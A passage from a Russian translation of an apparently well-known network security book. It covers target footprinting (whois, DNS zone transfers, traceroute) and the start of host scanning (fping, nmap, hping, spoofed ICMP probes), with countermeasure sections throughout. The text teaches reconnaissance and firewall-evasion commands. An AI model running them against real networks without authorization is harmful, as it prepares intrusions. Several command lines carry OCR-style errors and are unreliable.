Введение |
Глава 1. ПРЕДВАРИТЕЛЬНЫЙ СБОР ДАННЫХ
|
Предварительный сбор данных Прежде чем приступить к столь увлекательному занятию, как хакинг, необходимо выполнить рад подготовительных мероприятий. В этой главе рассматривается первый этап подготовки, заключающийся в предварительном сборе данных (footpnntmg) о представляющей интерес сети. Именно так и поступают настоящие преступники, решившие ограбить банк. Они не вваливаются в операционный зал и не начинают требовать денег (за исключением разве что самых примитивных грабителей). Любая по-настоящему опасная группировка, замышляющая ограбление посвятит немало времени сбору информации об этом банке. Они изучат маршруты передвижения бронеавтомобилей, время доставки наличных денег, места расположения видеокамер и служебных выходов, а также все, что может им пригодиться для реализации их преступных замыслов. |
Что такое предварительный сбор данных В результате систематизированного сбора информации хакеры могут получить в свое распоряжение полный профиль системы защиты организации. Начав "с нуля" (например, имея лишь общие сведения о подключении к Internet) и применяя различные средства и технические приемы, взломщик может получить в конце концов совершенно определенный набор доменных имен, адресов подсетей и отдельных компьютеров этой организации, подключенных к Internet. Методов сбора подобной информации очень много, однако все они сводятся к одному - получению информации, имеющей отношение к технологиям Internet, корпоративным сетям (intranet), удаленному доступу (remote access) и экстрасетям (extranet). Все эти технологии, а также важные данные которые взломщики пытаются получить, перечислены в Табл. 1.1. |
Для чего необходим предварительный сбор данных Предварительный сбор данных необходим для того, чтобы систематически и методологически гарантировать получение всей информации, имеющей отношение ко всем из вышеперечисленных технологий, используемых в конкретной организации. Без четко определенной методики выполнения этой работы высока вероятность того, что какая-нибудь часть важной информации не будет получена. Предварительный cбор данных о системе безопасности организации зачастую оказывается одной из наиболее трудных задач, однако в то же время этот процесс является наиболее важным. Его успешное завершение можно обеспечить лишь при четком следовании определенной методике и его контроле. |
Сбор данных о подключении к Internet Для сбора данных о различных технологиях применяются схожие методы (это справедливо, например, по отношению к Internet и корпоративным сетям), поэтому в этой главе подробно рассматриваются лишь методы сбора необходимой информации о подключении организации к Internet. Вопросы сбора данных об удаленном доступе будут подробно рассмотрены в главе 9, "Хакинг удаленных соединений, РВХ, Voice-mail и виртуальных частных сетей". Таблица 1.1. Важная информация, которую могут определить взломщики об используемых технологиях
Строго говоря, сложно дать четкие рекомендации по выполнению процесса сбора информации, поскольку осуществить это можно по-разному. Тем не менее, в данной главе предпринята попытка описать основные этапы, которые обязательно должны быть проведены при анализе информации для создания профиля организации. Многие из описанных приемов можно с успехом применять и для сбора данных о других технологиях, упоминавшихся выше. |
Этап 1. Определение видов деятельности Прежде всего необходимо определить виды деятельности, которые будут осуществляться при сборе информации. Например, нужно ответить на вопрос, планируете ли вы собрать данные обо всей сети организации или же ограничитесь лишь определенными ее сегментами (например, сетью главного офиса)? В некоторых случаях собрать данные обо всей организации может оказаться затруднительным. К счастью, в Internet можно найти множество ресурсов, с помощью которых можно сузить область деятельности, а также получить открытую информацию об организации и ее служащих. Поиск по открытым источникам Прежде всего начните с Web-страницы организации (если, конечно, она существует). Зачастую оказывается, что на таких Web-страницах присутствует информация, которая может помочь взломщику. Однажды нам даже довелось увидеть на одном Web-узле конфигурационные параметры, которые использовались для настройки системы защиты этой организации с помощью брандмауэра. К другим данным, которые можно получить и которые могут представлять интерес, относятся следующие.
Кроме того, попробуйте просмотреть комментарии, содержащиеся в HTML-коде Web-страниц. Зачастую в коде HTML можно найти интересные, с точки зрения взломщика, комментарии, такие как "<", "!" и "--", которые не отображаются на экране при открытии страницы в окне броузера. Просмотр исходного кода Web-страницы в автономном режиме позволит гораздо эффективнее работать в интерактивном режиме. Так что зачастую полезно сохранить полный образ всего Web-узла для дальнейшего просмотра. Впоследствии эту локальную копию можно использовать для поиска комментариев или других важных данных программным способом и, таким образом, значительно повысить эффективность процесса сбора информации. Для создания образа всего Web-узла в системе UNIX можно воспользоваться утилитой Wget (ftp://gnjilux.cc.fer.hr/pub/unix/util/wget/), а в системе Windows — утилитой Teleport Pro (http://www.tenmax.com/teleport/home.htm).
Наконец, можно просто воспользоваться средствами расширенного поиска некоторых ведущих поисковых серверов, таких как AltaVista или Hotbot. Многие из них позволяют найти все Web-страницы, на которых имеются ссылки на домен интересующей вас организации. На первых взгляд эта возможность не представляет собой ничего интересного, но не торопитесь с выводами! Допустим, кто-то из сотрудников организации решил создать собственный Web-узел дома или во внутренней сети организации. Весьма вероятно, что такой Web-узел будет иметь недостаточный уровень защиты или, более того, он может быть создан без ведома руководства. Как показано на рис. 1.1, обнаружить такой Web-узел можно именно с помощью описанного метода. Поиск в базе данных EDGAR Для поиска информации о компании, представляющей собой открытое акционерное общество (publicly traded company), можно воспользоваться базой данных EDGAR, поддерживаемой Комиссией по безопасности и обмену данными (SEC — Securities and Exchange Commission), находящейся по адресу http: //www. sec. gov (рис. 1.3).
Одной из самых больших проблем, с которыми сталкиваются крупные компании, — это управление соединениями с Internet, особенно если они вовлечены в активную деятельность по приобретению других компаний или сами являются объектами приобретения. Именно поэтому так важно обращать внимание на информацию о недавно приобретенных компаниях. Среди документов комиссии SEC можно отметить два особенно важных: 10-Q и 10-К. Документ 10-Q представляет собой краткую сводку о деятельности организации за последний квартал. Кроме всей остальной информации в этом отчете также указывается количество акций компаний, приобретенных организацией за отчетный период, или количество акций организации, приобретенных за этот же период другими компаниями. Отчет 10-К содержит аналогичную информацию, однако он обновляется один раз в год. Поэтому сведения, приведенные в нем, могут потерять актуальность. Можно, например, поискать в этих документах слова subsidiary (дочерняя) или subsequent events (последующие события). В результате вы можете получить представление о недавно приобретенных компаниях или планирующихся слияниях. Зачастую организации подключают сети приобретенных ими компаний, забывая о требованиях безопасности. Поэтому вероятность того, что вы сможете проникнуть в сеть родительской компании, прорвав защиту новоприобретенного подразделения, довольно высока. Это лишний раз доказывает, что взломщики являются приверженцами хаоса и анархии, поскольку они всегда не преминут воспользоваться неразберихой, царящей в организации во время объединении сетей. Контрмеры: обеспечение безопасности общедоступных баз данных Большая часть приведенных выше сведений должна быть общедоступной. Особенно это касается открытых акционерных обществ. Однако в то же время очень важно оценить и классифицировать типы такой информации. Для выполнения такого анализа может оказаться полезным руководство по обеспечению безопасности узла (Site Security Handbook, документ RFC2196). Его можно найти по адресу http://ietf.org/rfc/rfc2196.txt. И наконец, если на Web-страницах вашего узла имеется хоть какая-нибудь информация, которая может помочь взломщику в проникновении в вашу сеть, удалите ее, если только это не является жизненно необходимым. |
Этап 2. Инвентаризация сети Первым шагом в процессе инвентаризации сети (network enumeration) является идентификация имен доменов и сетей, связанных с конкретной организацией. Доменные имена представляют собой адрес компании в Internet и являются Internet-эквивалентами названия компании, например AAAApainting.com или moetavern.com. Таблица 1. 2. Источнйки информации и методы поиска с помощью команды whois
Таблица 1.3. Базы данных, содержащие сведения о военных, правительственных и международных доменах
Регистрационный запрос С появлением совместно используемой системы регистрации (т.е. нескольких компаний-регистраторов) для получения списка доменов и соответствующей регистрационной информации, связанной с данной организацией, необходимо обратиться к серверу whois.crsnic.net. Следует определить компанию-регистратор и, таким образом, базу данных, к которой можно будет обращаться с последующими запросами на получение более подробных данных. В данном случае в качестве целевой будет использоваться компания Acme Networks, а запрос будет выполняться из командной оболочки системы UNIX (Red Hat 6.2). В используемой версии команды whois с помощью параметра @ можно задать альтернативную базу данных. В некоторых системах из ряда BSD (например, OpenBSD или FreeBSD) для этого можно воспользоваться параметром -а. Для получения более подробной информации об использовании клиента whois для генерации запросов воспользуйтесь командой man whois. [bash]$ whois "acme."@whois.crsnic.net Если о домене acme. net необходимо получить дополнительную информацию, то поиск можно продолжить и определить компанию-регистратор. [bash]$ whois "acme.net"@whois.crsnic.net Из полученных результатов видно, что для данной организации компанией-регистратором является Network Solutions, что является достаточно обычным для любой организации, зарегистрированной до ввода в действия новой системы регистрации. В дальнейшем последующие запросы должны быть адресованы соответствующей компании-регистратору, поскольку именно на ее сервере содержится требуемая информация. Организационный запрос После идентификации компании-регистратора можно приступать к формированию организационного запроса. Такой тип запроса позволяет выполнить поиск компании-регистратора для всех экземпляров имен рассматриваемой организации. Он гораздо шире, чем просто поиск имени домена. Организационный запрос должен содержать ключевое слово name и быть отправлен компании Network Solutions. [bash]$ whois " Из полученного списка видно, что к компании Acme Networks имеет отношение много доменов. Однако пока неясно, представляют ли они реальные сети или же зарегистрированы для будущего использования либо для зашиты торговых марок. Для получения ответов на эти вопросы необходимо продолжить исследования, пока не будут обнаружены реальные сети. Доменный запрос Проанализировав результаты организационного запроса, приходим к выводу, что наиболее вероятным кандидатом для изучения является домен Acme.net, поскольку он представляет саму компанию Acme Networks (естественно, все реальные имена и адреса были изменены). [bash]$ whois acme.net@whois.networksolutions.com Подобный запрос позволяет получить следующую информацию.
Теперь пришло время проявить способности детектива. Для того чтобы проанализировать полученную информацию и извлечь из нее что-то полезное, необходимо иметь определенные знания. Обычно мы называем такого рода информацию "нюансами", поскольку она уточняет имеющиеся в распоряжении взломщика сведения и позволяет осуществить более сфокусированную атаку. Давайте подробнее рассмотрим приведенные в примере данные. С помощью директивы server, примененной к записи HST, информация о которой получена из запроса whois, можно установить другие домены, обслуживаемые заданным DNS-сервером. Для этого необходимо выполнить следующие действия. Сетевой запрос Для идентификации сетей, ассоциированных с конкретным доменом, может использоваться база данных ARIN (American Registry for Internet Numbers). В ней содержатся конкретные диапазоны адресов, которыми обладает данная организация. Сгенерировать такой запрос очень важно, поскольку он позволит определить, действительно ли конкретный адрес принадлежит заданной организации, а не относится к другой организации, например провайдеру услуг Internet. [bash]$ whois "Acme Net."@whois.arin.net С использованием определенного адреса (10.10.10.0) можно сформировать более специализированный запрос. [bash]$ whois 10.10.10.08whois.arin.net База данных ARIN предоставляет удобный Web-ориентированный механизм обработки запросов, показанный на рис. 1.4. Возвращаясь к полученным результатам, можно заключить, что сеть интересующей нас компании Acme Networks адресуется главным провайдером Major IPS USA как сеть класса А (полное изложение основ протокола TCP/IP можно найти в книге Ричарда Стивенса (Richard Stevens) TCP/IP Illustrated, Volume 1). Таким образом, можно заключить, что эта сеть и является внутренней сетью компании Acme Networks.
Контактный запрос Поскольку технический служащий, чьи данные указаны в регистрационных данных, может заниматься администрированием нескольких организаций, имеет смысл обратиться к базе whois с контактным запросом по пользовательскому дескриптору базы данных. В данном случае воспользуемся дескриптором WB9201, полученным в предыдущем доменном запросе. Таким образом можно выявить домен, о существовании которого вы даже не подозреваете. [bash]$ whois "HANDLE WB9201"@whois.networksolutions.com Можно также попробовать поискать записи, содержащие часть адреса @Acme.net, и получить список всех адресов электронной почты данного домена. Для краткости мы приведем лишь часть полученных данных. [bash]$ whois "@Acme.net"@whois.internic.net
Контрмеры: обеспечение безопасности общедоступных баз данных Большая часть информации, хранящейся в описанных базах данных, открыта для свободного доступа. Когда организация намеревается зарегистрировать собственный домен, она обязана предоставить контактную информацию, сведения о выделенных ей блоке сетевых адресов и серверах DNS. Однако для того чтобы усложнить задачу взломщикам, необходимо придерживаться определенных принципов обеспечения безопасности. |
Этап 3. Прослушивание серверов DNS После установления всех доменов можно приступать к работе с серверами DNS. DNS — это распределенная база данных, предназначенная для преобразования IP-адресов в имена узлов и наоборот. Если сервер DNS не настроен на обеспечение максимальной степени защиты, то с его помощью можно получить информацию о внутренней сети организации. Перенос зоны Одна из самых серьезных ошибок администратора при настройке параметров сети состоит в предоставлении возможности взломщику осуществить перенос зоны DNS. [bash]$ nslookup Первая введенная команда — это запуск утилиты nslookup в интерактивном режиме. После запуска утилита сообщает, какой сервер им,ен в данный момент используется по умолчанию. Обычно таким сервером является DNS-сервер вашей организации или DNS-сервер провайдера. Поскольку используемый в данном примере DNS-сервер (10.10.20.2) не обслуживает интересующий нас домен, нам нужно перейти на другой сервер, на котором мы сможем найти необходимую информацию о внутренней сети. Таким образом, утилите nslookup необходимо явно сообщить о том, к какому серверу DNS ей нужно обратиться. В нашем примере мы будем использовать основной сервер сети Acme Networks с адресом 10.10.10.2. Вспомните, что его адрес мы узнали из регистрационной базы данных доменов на предыдущем этапе. Затем мы устанавливаем тип записи any, что означает, что в список выбранных записей будут отобраны все записи из базы данных DNS-сервера. (Подробнее о параметрах утилиты nslookup можно узнать с помощью команды man nslookup (UNIX) или nslookup ? (NT).) [bash]$ more zone_out Мы не будем рассматривать подробно каждый элемент всех найденных записей, а остановимся лишь на некоторых важных типах информации, которую можно получить таким образом. Как видно из приведенного выше листинга, для каждого узла имеется запись типа 'А, содержащая IP-адрес узла, имя которого указано в левом столбце. Кроме того, каждый узел имеет запись типа HINFO, идентифицирующую используемую платформу или операционную систему (описание см. в RFC 952). Информация записей HINFO не используется операционными системами, однако очень часто оказывается полезной для взломщиков. Поскольку результаты переноса зоны сохранены в файле, то его содержимое без особых проблем можно отсортировать с помощью таких программ UNIX, как grep, sed, awk или perl. [bash]$ grep -i Solaris zone_out |wc -1 388 Таким образом, взломщик имеет 388 записей, в которых присутствует слово Solaris, и каждый из этих 388 компьютеров может стать потенциальной жертвой. [bash]$ grep -i test /tmp/zone_out |wc -1 96 Итак, в нашем распоряжении около сотни записей файла зоны, в которых содержится слово test. Как правило, это количество примерно соответствует количеству реальных тестовых систем сети. Приведенные примеры — лишь малая часть того, что можно при известной доле настойчивости и изобретательности получить из файла зоны. Опытный взломщик, "просеяв через сито" полученные данные, рано или поздно выявит самый уязвимый компьютер сети, с которого он сможет начать вторжение. >>host -l acme.net |cut -f 4 -d" " » /tmp/ip_out В процессе предварительного сбора данных использовать команды системы UNIX для выполнения всех задач нет необходимости. Существует довольно много продуктов для Windows, которые позволяют получить ту же информацию (рис 1.5). [bash]$ axfr Acme.net Для того чтобы обратиться с запросом к полученной с помощью утилиты axf r базе данных, необходимо ввести следующую команду. [bash]$ axfrcat Acme.net Получение записей обмена почтой (MX) Определение компьютера, на котором обрабатывается почта,— это один из наиболее удачных способов выявления сетевого брандмауэра представляющей интерес организации. Как правило, в коммерческих компаниях почта обрабатывается на том же компьютере, который служит в качестве брандмауэра, или по крайней мере на компьютере, который находится в том же сегменте сети. Для получения более подробной информации можно воспользоваться командой host. [bash]$ host Acme.net
Если команда host применяется без параметров либо только с именем домена, то сначала она попытается найти записи А, а затем записи MX. Приведенная выше информация пересекается с той информацией, которую ранее была получена при поиске в базе данных ARIN с использованием утилиты whois. Это лишний раз подтверждает, что мы правильно определили адрес нужной нам сети. Контрмеры: обеспечение безопасности базы данных DNS Информация DNS представляет для хакера очень большой интерес, поэтому очень важно уменьшить объем данных, доступных через Internet. С точки зрения настройки узла, необходимо ограничить возможность переноса зоны, разрешив ее лишь определенным серверам. В современных версиях службы BIND для этих целей можно использовать директиву xfernets файла named.boot. Для того чтобы ограничить возможность переноса зоны службы DNS компании Microsoft, необходимо использовать параметр Notify (более подробную информацию по этому вопросу можно найти по адресу http://support.-microsoft.eom/support/kb/articles/ql93/8/37.asp). Для настройки служб имен других разработчиков необходимо обратиться к соответствующей документации. |
Этап 4. Зондирование сети Установив возможные сетевые адреса, можно попытаться определить топологию сети, а также возможные пути проникновения в нее. Отслеживание маршрутов Эта задача может быть выполнена с помощью утилиты traceroute (ftp://ftp.ee. lbl.gov/traceroute.tar.Z), которая входит в комплект поставки практически всех версий UNIX и Windows NT. В системе Windows NT название утилиты адаптировано к формату 8.3 — tracert. [bash]$ traceroute Acme.net На основании полученной информации можно проследить путь, по которому пакеты, прошедшие через маршрутизатор (шлюз), проследовали, миновав три узла (2—4), к точке назначения. На всем пути следования пакеты нигде не были заблокированы. На основании ранее полученной информации известно, что МХ-запись домена Acme. net указывает на узел gate.acme.net. Следовательно, можно предположить, что этот узел является не логическим устройством, а реальным компьютером сети, а сегмент, через который пакет прошел на предыдущем шаге (4), — это пограничный маршрутизатор организации. Сегмент 4 может быть реализован как в виде выделенного программного брандмауэра, так и в виде простого фильтрующего маршрутизатора. На данном этапе об этом пока трудно судить. Как правило, именно на устройство, находящееся на сегменте, непосредственно за которым находится реальный компьютер сети, возлагается задача маршрутизации (например, маршрутизатор или брандмауэр). [bash]$ traceroute 10.10.10.2 Из листинга видно, что попытка использования утилиты traceroute, которая по умолчанию отсылает пакеты UDP, была заблокирована брандмауэром. [bash]$ traceroute -S -p53 10.10.10.2 Поскольку теперь пакеты не вызывают подозрения у устройства управления доступом (сегмент 4), они без проблем его преодолевают. Таким образом, мы можем зондировать узлы, находящиеся за устройством управления доступом, просто отправляя запросы по протоколу UPD в порт 53. Кроме того, если вы будете зондировать систему, которая опрашивает порт 53 на предмет поступления сообщений по протоколу UDP, вы не получите обычного сообщения ICMP о том, что данная система недоступна. Таким образом, если вы не увидели информации об узле, это означает, что пакеты дошли до цели. Существуют специальные приемы, позволяющие уточнить данные о списке ACL, используемом для конкретного устройства управления доступом. Одним из таких методов является сканирование протокола брандмауэра (firewall protocol scanning), о чем пойдет речь в главе 11, "Брандмауэры". Контрмеры: как пресечь зондирование сети В данной главе мы лишь слегка затронули такую обширную тему, как методы зондирования сети. В последующих главах мы снова вернемся к ней и поговорим о более серьезных методах. Однако уже сейчас можно сформулировать некоторые соображения о том, как предотвратить рассмотренные выше попытки зондирования. Во-первых, многие коммерческие системы выявления вторжений (NIDS — Network Intrusion Detection Systems) позволяют выявлять попытки зондирования такого рода. Кроме того, подобные вторжения можно выявить с помощью бесплатной программы Марти Рош (Marty Roach) (http://www.snort.org/). Если вы хотите принять меры и защититься от зондирования сети с помощью утилиты traceroute, обратите внимание на утилиту RotoRouter, написанную Хамблом (Humble) (http://packet storm, securify .com/linux/trinux/src/rr-l.0 . tgz). Эта утилита позволяет не только регистрировать входящие от утилиты traceroute запросы, но и генерировать ложные ответы. И наконец, в зависимости от общей политики безопасности вашей организации можно настроить пограничные маршрутизаторы таким образом, чтобы ограничить поток данных по протоколам ICMP и UDP только строго определенными узлами. Такой подход позволит свести риск проникновения во внутреннюю сеть посредством зондирования к минимуму. |
Резюме Итак, в распоряжении злоумышленника имеется целый ряд приемов, с помощью которых он может зондировать сеть или собирать о ней предварительную информацию. В данной главе мы лишь слегка затронули самые распространенные и типичные из этих приемов, поскольку новые средства и инструменты появляются чуть ли не ежедневно и любые детали могут быстро устаревать. Кроме того, все основные принципы предварительного сбора информации рассматривались на упрощенных примерах. На практике специалистам, возможно, придется столкнуться гораздо с более сложной задачей, состоящей в противостоянии сбору данных о десятках или сотнях доменов и их идентификации. Именно по этой причине мы в своей работе стараемся автоматизировать выполнение как можно большего числа задач, комбинируя сценарии оболочки, программы на языке Perl и другие средства. В Internet постоянно "рыщет" множество квалифицированных и опытных взломщиков, которых еще никто и никогда не ловил за руку. Поэтому не забывайте о том, что чем меньше информации о внутренней архитектуре будет доступно в глобальной сети и чем тщательнее будет выполняться мониторинг всех событий, тем сложнее взломщику будет проникнуть в сеть. |
Глава 2. СКАНИРОВАНИЕ
|
Сканирование Если процесс предварительного сбора данных можно сравнить со скрытым наблюдением, цель которого — добыть как можно больше информации, не выдавая себя, то сканирование — это "разведка боем". Цель сканирования — выявить открытые "окна" и "двери". В предварительно собранной информации содержатся сведения об адресах подсетей и отдельных компьютеров, полученных с помощью запросов whois и переноса зоны. Информация, собранная на этом этапе, очень ценна для взломщика, поскольку содержит такие данные, как имена и фамилии сотрудников, номера телефонов, диапазоны IP-адресов, адреса DNS-серверов и почтовых серверов. Теперь можно приступать к выявлению тех компьютеров, которые подключены к сети и достижимы из Internet. Для этого будут использоваться разнообразные средства и приемы, такие как ping-прослушивание, сканирование портов и различные методы, позволяющие автоматизировать выполнение этих задач. Прослушивание сети с помощью утилиты ping Одним из основных этапов в определении структуры сети является ее автоматизированное прослушивание с помощью утилиты ping по диапазону IP-адресов или адресам подсетей. Цель такого прослушивания — определить, имеется ли у отдельных компьютеров подключение к Internet. Утилита ping отправляет пакеты ICMP ECHO (тип 8) указанному компьютеру и ожидает ответного пакета ICMP ECHO_REPLY (тип 0). Получение такого ответа говорит о том, что компьютер в данный момент подключен к Internet. Хотя при некоторой настойчивости с помощью утилиты ping можно определить количество постоянно подключенных к Internet компьютеров в небольшой и даже средней сети, ручной перебор сетевых адресов будет малоэффективен, если необходимо обследовать корпоративную сеть крупной организации. [tsunami ]'$ gping В качестве параметров утилите gping необходимо передать диапазон IP-адресов. На основании этого диапазона будет генерироваться листинг, в котором адреса перебираются друг за другом. Каждый октет передаваемого IP-адреса должен отделяться от остальных пробелами. Например, если мы собираемся генерировать IP-адреса для сети класса С, нам необходимо просто добавить 254 в качестве последнего параметра. Это позволит утилите перебрать все адреса от 192.168.1.1 до 192.168.1.254. Предположим, что эта сеть не содержит подсетей и использует маску подсети 255.255.255.0. Кроме того, мы не будем проверять адрес самой сети 192.168.1.0 и адрес широковещательной рассылки 192.168.1.255. Следует избегать применения утилиты ping к адресам широковещательной рассылки, поскольку это может привести к отказу, или так называемому состоянию DoS (denial of service), если ответный пакет одновременно будет сгенерирован многими узлами (более подробная информация о том, как установить маску подсети узла, приведена в документации по запросам ICMP). С использованием утилиты gping можно сгенерировать перечень адресов, которые затем будут использоваться утилитой fping. [tsunami] gping 192 168 1 1 254 Теперь в нашем распоряжении имеется список всех узлов, которые могут находиться в исследуемой сети класса С. Осталось лишь перенаправить вывод утилиты gping на вход утилиты fping, которая выполнит прослушивание сети и определит, какие компьютеры в данный момент подключены к сети. [tsunami]? gping 192 168 1 1 254 | fping -a Параметр -а утилиты fping предназначен для включения режима, в котором выводится информация обо всех активных в данный момент компьютерах сети. Если нужно, утилита может выводить и информацию об именах узлов. Этот режим включается с помощью параметра -d. По нашему мнению, параметр -а лучше всего использовать в сценариях оболочки, а параметр -d — при исследовании сети на предмет поиска определенных узлов. Среди других параметров необходимо упомянуть -f, который позволяет вводить адреса из заранее подготовленного файла, а также -h, с помощью которого можно получить перечень всех параметров утилиты и режимов их использования. Еще одной утилитой, о которой мы будем много говорить в этой книге, является утилита nmap, созданная хакером по имени Федор (Fyodor) (www.insecure.org/nmap). Более подробно эта утилита будет рассматриваться ниже в этой главе, однако будет нелишним упомянуть, что, кроме всех остальных возможностей, данная утилита также позволяет выполнить прослушивание сети. Для включения соответствующего режима необходимо указать параметр -SP. [tsunami] nmap -sP 192.168.1.0/24 Что касается приверженцев Windows, они также не остались без внимания. В частности, имеется такая бесплатная утилита, как Finger (рис. 2.1), написанная хакерами из группы Rhino9 (http://www.nmrc.org/files/snt/). Эта утилита является одной из самых быстрых в своем классе. Как и fping, утилита Finger одновременно рассылает несколько ICMP-пакетов ECHO, а затем ожидает поступления ответов. Кроме того, Finger позволяет также получать имена узлов и сохранять результаты своей работы в файле. Такой же скоростью, как и Finger, обладает коммерческий продукт Ping Sweep, предлагаемый компанией SolarWinds (www.solarwinds.net). Поразительная скорость работы Ping Sweep объясняется тем, что данная программа позволяет устанавливать время задержки между передаваемыми пакетами (delay time). Установив это значение равным 0 или 1, можно просканировать всю сеть класса С и получить имена ее узлов менее чем за 7 секунд. Однако при использовании этих средств соблюдайте осторожность, поскольку в этом случае можно значительно снизить пропускную способность какого-нибудь низкоскоростного канала, например канала ISDN с пропускной способностью 128 Кбит/с или Frame Relay (не говоря уже о спутниковом или инфракрасном канале).
В тех случаях, когда обмен данными по протоколу ICMP заблокирован, в первую очередь применяется метод сканирования портов (port scanning), который более подробно рассматривается ниже в этой главе. Просканировав стандартные порты каждого потенциального IP-адреса сети, можно определить, какие узлы подключены к сети. Если порт открыт (opened mode) или находится в режиме ожидания (listening mode), значит, по данному адресу находится подключенный к Internet узел сети. Недостатками этого метода являются большие временные затраты и некоторая неопределенность результата (если по какому-то адресу не удалось обнаружить ни одного порта, то это еще не означает, что соответствующий узел не подключен к Internet). Одной из утилит, которые можно использовать для сканирования портов, является nmap. Как уже упоминалось, с помощью этой утилиты можно проводить ICMP-прослушивание, однако этим перечень ее возможностей далеко не исчерпывается. В частности, эта утилита позволяет выполнять так называемое TCP-прослушивание сканированием (TCP ping scan). Данный режим включается с помощью параметра -рт и указания номера порта, например 80. Выбор порта с номером 80 обусловлен тем, что в подавляющем большинстве случаев именно он используется узлами сети для обмена данными через пограничные маршрутизаторы или брандмауэры с компьютерами, расположенными в так называемой демилитаризованной зоне (DMZ — demilitarized zone). При использовании указанного параметра утилита рассылает узлам исследуемой сети пакеты АСК, а затем ожидает поступления пакетов RST, что свидетельствует о том, что узел подключен к Internet. [tsunami] nmap -sP -PT80 192.168.1.0/24 Как видно из приведенного выше листинга, этот метод определения подключенных к Internet узлов очень эффективен, даже если на них блокируется передача пакетов ICMP. С помощью утилиты nmap имеет смысл провести несколько подобных проверок, тестируя такие стандартные порты как SMTP (25), POP (110), AUTH (110), IMАР (143) или другие порты, которые, по вашим сведениям, могут быть уникальными на каком-либо компьютере исследуемой сети. [tsunami] hping 192.168.1.2 -S -p 80 -f В некоторых случаях простые устройства управления доступом не могут корректно обрабатывать фрагментированные пакеты, что позволяет им проходить через такие устройства и достигать интересующего взломщика адреса. Обратите внимание, что в случае, когда порт открыт, возвращаются флаги TCP SYN (s) и дек (А). Утилиту hping очень легко использовать в сценариях оболочки с параметром счетчика пакетов -cN, где N — это количество пакетов, которые нужно отправить в Internet, прежде чем переходить к выполнению следующей команды сценария. Хотя данный метод и не обладает такой скоростью, как описанные выше методы ICMP-прослушивания, в некоторых случаях только он может помочь выяснить конфигурацию сети. Более подробно утилита hping рассматривается в главе 11, "Брандмауэры". [shadow] icmpenum -i2 -с 192.168.1.0 В приведенном примере сеть класса С (192.168.1.0) была протестирована с использованием ICMP-запроса TIME STAMP REQUEST. Однако реальная мощь утилиты icmpenum заключается в возможности идентификации узлов с помощью ложных пакетов, что позволяет избежать обнаружения злоумышленника. Это возможно благодаря тому, что утилита icmpenum позволяет генерировать ложные пакеты с использованием параметра -s и пассивно ожидать отклика при указании параметра -р. |
Контрмеры: защита от прослушивания сети Поскольку прослушивание сети в лучшем случае может вызывать раздражение, то очень важно выявлять все попытки таких действий. В зависимости от принятой в организации политики обеспечения безопасности можно также заблокировать прохождение пакетов, передаваемых при ping-прослушивании. В этом разделе рассматриваются обе возможности. Выявление факта прослушивания Как уже говорилось, ICMP- и TCP-прослушивание является общепринятым методом исследования сети перед непосредственной попыткой проникновения в сеть. Поэтому выявление факта прослушивания очень важно с точки зрения возможности получения информации о потенциальном месте проникновения и источнике угрозы. Один из основных методов выявления прослушивания состоит в использовании сетевой программы выявления вторжений, такой как Network Flight Recorder (NFR), или программы, установленной на исследуемом взломщиком узле. Ниже приведен алгоритм, который можно реализовать в программе, предназначенной для выявления факта прослушивания. # Обнаружение прослушивания с помощью ICMP/Ping Что касается защиты на уровне отдельного узла, для этого можно с успехом применять утилиты UNIX, которые позволяют выявлять и регистрировать попытки прослушивания. Если, просматривая файл журнала, созданный такой утилитой, вы обнаружите массированные ICMP-запросы ECHO, исходящие из одной и той же сети или от одного и того же узла, это, скорее всего, означает, что вашу сеть кто-то исследует. На такие факты необходимо обращать самое пристальное внимание, так как после изучения сети обычно предпринимается реальная попытка проникновения. Таблица 2.1.Некоторые утилиты UNIX, предназначенные для зашиты от прослушивания на уровне узла
Предотвращение прослушивания Если обнаружение факта прослушивания имеет столь большое значение, то что тогда говорить о предупреждении таких попыток! Мы рекомендуем очень внимательно оценить, насколько важен для вашей организации обмен данными по протоколу ICMP между узлами вашей сети и Internet. Имеется много разнообразных типов сообщений ICMP, ECHO и ECHO_REPLY — лишь два из них. В большинстве случаев нет никакой необходимости разрешать обмен данными между узлами сети и Internet с использованием всех имеющихся типов сообщений. Практически все современные брандмауэры обладают возможностью отфильтровывать пакеты ICMP, поэтому единственная причина, по которой они могут проходить во внутреннюю сеть,— та или иная производственная необходимость. Даже если вы твердо убеждены в том, что нельзя полностью заблокировать протокол ICMP, обязательно заблокируйте те типы сообщений, которые вам не нужны для работы. Как правило, вполне достаточно, чтобы с зоной DMZ можно было взаимодействовать посредством сообщений ECHO_REPLY, HOST UNREACHABLE И TIME EXCEEDED. Кроме того, с помощью списка управления доступом (ACL — Access Control List) можно разрешить обмен сообщениями по протоколу ICMP только с несколькими IP-адресами, например, принадлежащими вашему провайдеру Internet. Это позволит провайдеру, при необходимости, проверить качество связи, но при этом проникновение посторонних извне в компьютеры, подключенные к Internet, будет значительно затруднено. Необходимо всегда помнить, что несмотря на удобство и мощь протокола ICMP с точки зрения диагностирования сетевых проблем, он с успехом может использоваться и для создания таких проблем. Разрешив неограниченный доступ по протоколу ICMP во внутреннюю сеть, вы тем самым предоставляете взломщикам возможность реализовать нападение типа DoS (например с помощью Smurf-метода). Более того, если взломщику удастся проникнуть в один из ваших компьютеров, он может через "потайной ход" в операционной системе с помощью таких программ, как loki, организовать скрытое тунеллирование данных, передаваемых по протоколу ICMP. Более подробная информация о loki приведена в журнале Phrack Magazine, том 7, выпуск 51 за 1 сентября 1997 года, статья 06(http://phrack.infonexus.com/search.phtml?view&article=p51-6). Запросы IСМР Если говорить о возможностях протокола ICMP для сбора информации о сети, то прослушивание с помощью утилиты ping (или, другими словами, с помощью пакетов ECHO, пересылаемых по протоколу ICMP), — это только верхушка айсберга. Просто обмениваясь пакетами ICMP с интересующей вас системой, о ней можно получить любую информацию. Например, с помощью таких утилит UNIX, как icmpquery (http://packetstorm.securify.com/UNIX/scanners/icmpquery.с) или icmpush (http://packetstorm.security.com/UNIX/scanners/icmpush22.tgz), можно узнать системное время удаленного узла (т.е. часовой пояс, в котором он находится). Для этого нужно отправить по протоколу ICMP сообщение типа 13 (TIMESTAMP). Точно так же, обратившись к определенному устройству с ICMP-запросом типа 17 (ADDRESS MASK REQUEST), можно узнать маску подсети. Знание маски подсети сетевой карты позволяет определить все существующие подсети. Например, используя маску подсети, усилия можно сосредоточить на определенной подсети и избежать необходимости обращения к адресам рассылки широковещательных сообщений. Утилита icmpquery позволяет запрашивать как системное время, так и маску подсети. icmpquery <query> [-B] [-f fromhost] [-d delay] [-T time] targets Например, чтобы с помощью icmpquery узнать системное время маршрутизатора, воспользуйтесь следующей командой. [tsunami] icmpquery -t 